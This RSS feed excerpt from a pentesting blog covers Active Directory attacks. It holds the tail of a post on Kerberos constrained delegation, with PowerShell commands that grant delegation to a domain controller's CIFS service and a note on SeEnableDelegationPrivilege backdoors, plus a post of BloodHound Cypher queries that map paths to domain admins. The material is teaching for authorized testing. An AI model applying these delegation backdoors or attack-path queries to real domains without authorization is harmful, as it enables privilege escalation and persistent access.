&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PS&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;C:\&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Set-ADUSer&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Identity&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;bleponge&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Add&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@{&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;msDS-AllowedToDelegateTo&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;CIFS/DC.WINDOMAIN.LOCAL&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;CIFS/DC&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PS&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;C:\&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Set-ADObject&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Identity&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;bleponge&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-SET&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@{&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;serviceprincipalname&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;nonexistent/BLAHBLAH&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PS&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;C:\&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Get-ADObject&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Identity&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;bleponge&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Properties&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;distinguishedName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;samAccountName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;samAccountType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;userAccountControl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;msDS-AllowedToDelegateTo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;servicePrincipalName&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fl&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;useraccountcontrol&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;       &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;NORMAL_ACCOUNT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;TRUSTED_TO_AUTH_FOR_DELEGATION&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;serviceprincipalname&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;     &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;nonexistent/BLAHBLAH&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msds-allowedtodelegateto&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CIFS/DC&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;CIFS/DC.WINDOMAIN.LOCAL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;distinguishedname&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;CN&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Bob&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ble.&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Leponge&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;CN&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Users&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DC&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;windomain&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DC&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;samaccountname&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;           &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;bleponge&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;samaccounttype&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;           &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;USER_OBJECT&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Take care with the command &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Set-ADObject -Identity bleponge -SET @{serviceprincipalname=&apos;nonexistent/BLAHBLAH&apos;}&lt;/code&gt;.&lt;br /&gt;
Indeed, in order for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;S4U2Self&lt;/code&gt; mechanism to work with Rubeus, a SPN must be set on the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bleponge&lt;/code&gt; user, otherwise an exception will be propagated:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;...
[!] Unhandled Rubeus exception:

System.NullReferenceException: Object reference not set to an instance of an object.
   at Rubeus.S4U.S4U2Proxy(KRB_CRED kirbi, String targetUser, String targetSPN, String outfile, Boolean ptt, String domainController, String altService, KRB_CRED tgs, Boolean opsec)
   at Rubeus.S4U.Execute(KRB_CRED kirbi, String targetUser, String targetSPN, String outfile, Boolean ptt, String domainController, String altService, KRB_CRED tgs, String targetDomainController, String targetDomain, Boolean s, Boolean opsec, String requestDomain, String impersonateDomain)
   at Rubeus.Commands.S4u.Execute(Dictionary`2 arguments)
   at Rubeus.Domain.CommandCollection.ExecuteCommand(String commandName, Dictionary`2 arguments)
   at Rubeus.Program.MainExecute(String commandName, Dictionary`2 parsedArgs)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now all you have to do is to go back to our &lt;a href=&quot;#Exploitation&quot;&gt;Exploitation&lt;/a&gt; section and to reproduce the attack in the context of our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bleponge&lt;/code&gt; user.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Testing with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HOST&lt;/code&gt; service class (HOST/DC), it was impossible for us to list our share &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\\DC\C$&lt;/code&gt;. This has already been encountered by &lt;a href=&quot;https://beta.hackndo.com/service-principal-name-spn/#cas-particulier---host&quot;&gt;pixis&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;seenabledelegationprivilege&quot;&gt;SeEnableDelegationPrivilege&lt;/h2&gt;

&lt;p&gt;We can also create a backdoor for a user by assigning him the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SeEnableDelegationPrivilege&lt;/code&gt;, so that this user can set the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TRUSTED_TO_AUTH_FOR_DELEGATION&lt;/code&gt; and write the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msDS-AllowedToDelegateTo&lt;/code&gt; field on another resource (&lt;a href=&quot;https://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/&quot;&gt;https://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/&lt;/a&gt;).&lt;/p&gt;

&lt;h1 id=&quot;the-end&quot;&gt;The End&lt;/h1&gt;

&lt;p&gt;Feel free to comment / ask your questions. You can also contact me on &lt;a href=&quot;https://twitter.com/phackt_ul&quot;&gt;Twitter&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;See you soon.&lt;/p&gt;

&lt;p&gt;Phackt.&lt;/p&gt;
</description>
        <pubDate>Fri, 27 Nov 2020 00:00:00 +0000</pubDate>
        <link>https://phackt.org/en-kerberos-constrained-delegation-with-protocol-transition</link>
        <guid isPermaLink="true">https://phackt.org/en-kerberos-constrained-delegation-with-protocol-transition</guid>
        
        
        <category>Pentesting</category>
        
      </item>
    
      <item>
        <title>More BloodHound Cypher queries</title>
        <description>&lt;p&gt;Hello,&lt;/p&gt;

&lt;p&gt;In this blog post i will share my Cypher queries which i’m using in my daily engagements. I aim to be complementary to the &lt;a href=&quot;https://www.google.com/search?q=bloodhound+cypher+queries+cheatsheet&quot;&gt;cheatsheets&lt;/a&gt; you can found out there and to the default queries you will find in &lt;a href=&quot;https://github.com/BloodHoundAD/BloodHound&quot;&gt;BloodHound&lt;/a&gt;.&lt;br /&gt;
&lt;!--more--&gt;&lt;/p&gt;

&lt;p&gt;I will also comment these ones if needed to provide further information.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;First a word about logon sessions enumeration :&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Logon sessions enumeration is really important to know who is loggedon on which machine and from where. When the &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/lmshare/nf-lmshare-netsessionenum&quot;&gt;NetSessionEnum API&lt;/a&gt; is called, no privilege is needed to have at least two levels of information, &lt;strong&gt;0&lt;/strong&gt; and &lt;strong&gt;10&lt;/strong&gt;. We just need to be &lt;em&gt;Authenticated Users&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://phackt.org/public/images/cypher-queries/netsessionenum.png&quot; alt=&quot;netsessionenum&quot; /&gt;&lt;/p&gt;

&lt;p&gt;You also can continuously enumerate logon sessions thanks to BloodHound ingestor:&lt;br /&gt;
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SharpHound.exe -c SessionLoop&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Find also a great article about Bloodhound, its sessions enumeration and the NetCease script remediation &lt;a href=&quot;https://www.strong-it.at/why-is-net-cease-not-stopping-session-collection-in-bloodhound/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;queries&quot;&gt;Queries&lt;/h2&gt;

&lt;h3 id=&quot;count-the-distinct-users-logon-sessions-on-a-domain-&quot;&gt;Count the distinct users logon sessions on a domain :&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH (u1:user)
WITH count(u1) as totalUsers
MATCH (c:Computer)-[r:HasSession]-&amp;gt;(u2:User)
RETURN COUNT(DISTINCT(u2))
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;get-all-computers-with-their-users-logon-sessions-&quot;&gt;Get All computers with their users logon sessions :&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH c=(C:Computer)-[r2:HasSession*1]-(U:User) 
WHERE U.name =~ &quot;.*&quot; return c
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;get-computers-having-a-session-from-usernames-like-adm--matching-specific-os-&quot;&gt;Get computers having a session from usernames like “ADM.*”  (matching specific OS) :&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH p=((S:Computer)-[r:HasSession*1]-&amp;gt;(T:User))
WHERE T.name =~ &quot;ADM.*&quot;
AND S.operatingsystem =~ &quot;.*XP.*&quot;
RETURN p
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;find-all-domain-admins-&quot;&gt;Find all Domain Admins :&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH (n:Group) WHERE n.objectid =~ &quot;(?i)S-1-5-21-.*-512&quot; WITH n MATCH p=(n)&amp;lt;-[r:MemberOf*1..]-(m) RETURN n,r,m
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;For all Well-known security identifiers: &lt;a href=&quot;https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/security-identifiers-in-windows&quot;&gt;https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/security-identifiers-in-windows&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;find-all-domain-admins-nested-sid-s-1-5-21--512-having-a-session-opened-on-a-domain-computer-&quot;&gt;Find all Domain Admins (nested SID S-1-5-21-.*-512) having a session opened on a domain computer :&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH (m:User)-[r:MemberOf*1..]-&amp;gt;(n:Group) WHERE n.objectid =~ &quot;(?i)S-1-5-.*-512&quot; WITH m MATCH q=((m)&amp;lt;-[:HasSession]-(o:Computer)) RETURN q
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;show-all-high-value-target-principals-&quot;&gt;Show all high value target principals :&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH (m {highvalue:true}) RETURN m
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;list-of-unique-users-with-a-path-to-a-highvalue-targets-&quot;&gt;List of unique users with a path to a “highvalue” targets :&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH (u:User) MATCH (g {highvalue:true}) MATCH p = shortestPath((u:User)-[r:AddMember|AdminTo|AllExtendedRights|AllowedToDelegate|CanRDP|Contains|ExecuteDCOM|ForceChangePassword|GenericAll|GenericWrite|GpLink|HasSession|MemberOf|Owns|ReadLAPSPassword|TrustedBy|WriteDacl|WriteOwner|GetChanges|GetChangesAll*1..]-&amp;gt;(g)) RETURN DISTINCT(u.name) AS USER, u.enabled as ENABLED,count(p) as PATHS order by u.name
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;shortest-paths-from-domain-users-to-highvalue-targets-&quot;&gt;Shortest paths from Domain Users to “highvalue” targets :&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH p=shortestPath((g:Group {name:&quot;DOMAIN USERS@PHACKT.LOCAL&quot;})-[*1..]-&amp;gt;(n {highvalue:true})) WHERE g.objectid ENDS WITH &apos;-513&apos; AND g&amp;lt;&amp;gt;n return p
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;find-user-with-a-username-like-adm-who-logged-on-a-computer-which-has-a-owned-local-admin-&quot;&gt;Find user with a username like “ADM.*” who logged on a computer which has a owned local admin :&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH c=(U:User {owned:true})-[r:AdminTo*1]-(C:Computer)-[r2:HasSession*1]-(P:User) WHERE P.name =~ &quot;A_.*&quot; return c
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;find-all-edges-that-a-specific-user-has-against-all-the-nodes-hassession-is-not-calculated-as-it-is-an-edge-that-comes-from-computer-to-user-not-from-user-to-computer-&quot;&gt;Find all edges that a “specific user” has against all the nodes (HasSession is not calculated, as it is an edge that comes from computer to user, not from user to computer) :&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH (n:User) WHERE n.name =~ &apos;HELPDESK@DOMAIN.GR&apos; MATCH (m) WHERE NOT m.name = n.name MATCH p=allShortestPaths((n)-[r:MemberOf|HasSession|AdminTo|AllExtendedRights|AddMember|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|CanRDP|ExecuteDCOM|AllowedToDelegate|ReadLAPSPassword|Contains|GpLink|AddAllowedToAct|AllowedToAct|SQLAdmin*1..]-&amp;gt;(m)) RETURN p
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;find-all-the-edges-that-any-unprivileged-user-based-on-the-admincountfalse-has-against-all-the-nodes-&quot;&gt;Find all the edges that any UNPRIVILEGED user (based on the admincount:False) has against all the nodes :    &lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH (n:User {admincount:False}) MATCH (m) WHERE NOT m.name = n.name MATCH p=allShortestPaths((n)-[r:MemberOf|HasSession|AdminTo|AllExtendedRights|AddMember|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|CanRDP|ExecuteDCOM|AllowedToDelegate|ReadLAPSPassword|Contains|GpLink|AddAllowedToAct|AllowedToAct|SQLAdmin*1..]-&amp;gt;(m)) RETURN p
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;find-interesting-edges-related-to-acl-abuse-that-unprivileged-users-have-against-other-users-&quot;&gt;Find interesting edges related to “ACL Abuse” that unprivileged users have against other users :&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH (n:User {admincount:False}) MATCH (m:User) WHERE NOT m.name = n.name MATCH p=allShortestPaths((n)-[r:AllExtendedRights|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner*1..]-&amp;gt;(m)) RETURN p
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;find-interesting-edges-related-to-acl-abuse-that-unprivileged-users-have-against-computers-&quot;&gt;Find interesting edges related to “ACL Abuse” that unprivileged users have against computers :&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH (n:User {admincount:False}) MATCH p=allShortestPaths((n)-[r:AllExtendedRights|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|AdminTo|CanRDP|ExecuteDCOM|ForceChangePassword*1..]-&amp;gt;(m:Computer)) RETURN p
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;find-if-unprivileged-users-have-rights-to-add-members-into-groups-&quot;&gt;Find if unprivileged users have rights to add members into groups :        &lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH (n:User {admincount:False}) MATCH p=allShortestPaths((n)-[r:AddMember*1..]-&amp;gt;(m:Group)) RETURN p
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;find-only-the-adminto-privileges-edges-of-the-domain-users-against-the-domain-computers-&quot;&gt;Find only the AdminTo privileges (edges) of the domain users against the domain computers :       &lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH p1=shortestPath(((u1:User)-[r1:MemberOf*1..]-&amp;gt;(g1:Group))) MATCH p2=(u1)-[:AdminTo*1..]-&amp;gt;(c:Computer) RETURN p2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;find-which-groups-canrdp-to-computers-&quot;&gt;Find which groups canRDP to computers :&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH (n:Group) MATCH (m:Computer) MATCH p=allShortestPaths((n)-[r:CanRDP*1..]-&amp;gt;(m)) RETURN p
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;The canRDP edge runs from a user or a group to a computer and incates that the principals are part of the &lt;strong&gt;Remote Desktop Users&lt;/strong&gt; local group on the target system.&lt;/em&gt;&lt;/p&gt;

&lt;h3 id=&quot;find-what-groups-have-local-admin-rights-&quot;&gt;Find what groups have local admin rights :           &lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH p=(m:Group)-[r:AdminTo]-&amp;gt;(n:Computer) RETURN m.name, n.name ORDER BY m.name
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;find-what-users-have-local-admin-rights-&quot;&gt;Find what users have local admin rights :              &lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH p=(m:User)-[r:AdminTo]-&amp;gt;(n:Computer) RETURN m.name, n.name ORDER BY m.name
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;mark-a-user-as-owned-&quot;&gt;Mark a user as owned :&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH (n:User) WHERE n.name STARTS WITH toUpper(&apos;brobin&apos;) SET n.owned=true RETURN n
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;displays-all-gpos-&quot;&gt;Displays all GPOs :&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Match (n: GPO) return n
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;displays-all-gpos-containing-a-keyword-in-their-name-&quot;&gt;Displays all GPOs containing a “keyword” in their name :&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Match (n: GPO) WHERE n.name CONTAINS &quot;SERVER&quot; return n
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;find-if-a-domain-user-has-some-interesting-rights-on-a-gpo-&quot;&gt;Find if a domain user has some interesting rights on a GPO :&lt;/h3&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH p = (u: User) - [r: AllExtendedRights | GenericAll | GenericWrite | Owns | WriteDacl | WriteOwner | GpLink * 1 ..] -&amp;gt; (g: GPO) RETURN p LIMIT 25
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If i have some fresh queries, i will post them on this page regularly.&lt;/p&gt;

&lt;p&gt;If you also want to contribute: here is the &lt;a href=&quot;https://github.com/phackt/phackt.github.io/tree/master/_posts&quot;&gt;repo&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Wish you a good day,&lt;br /&gt;
Phackt.&lt;/p&gt;
</description>
        <pubDate>Sun, 04 Oct 2020 00:00:00 +0000</pubDate>
        <link>https://phackt.org/pentesting-bloodhound-cypher-queries</link>
        <guid isPermaLink="true">https://phackt.org/pentesting-bloodhound-cypher-queries</guid>
        
        
        <category>Pentesting</category>
        
      </item>
    
      <item>
        <title>SecurityTube Advanced Red Team Lab training - Worth it ?</title>
        <description>&lt;p&gt;Quick answer: &lt;strong&gt;Totally&lt;/strong&gt; !&lt;/p&gt;

&lt;p&gt;Hello everybody,&lt;/p&gt;

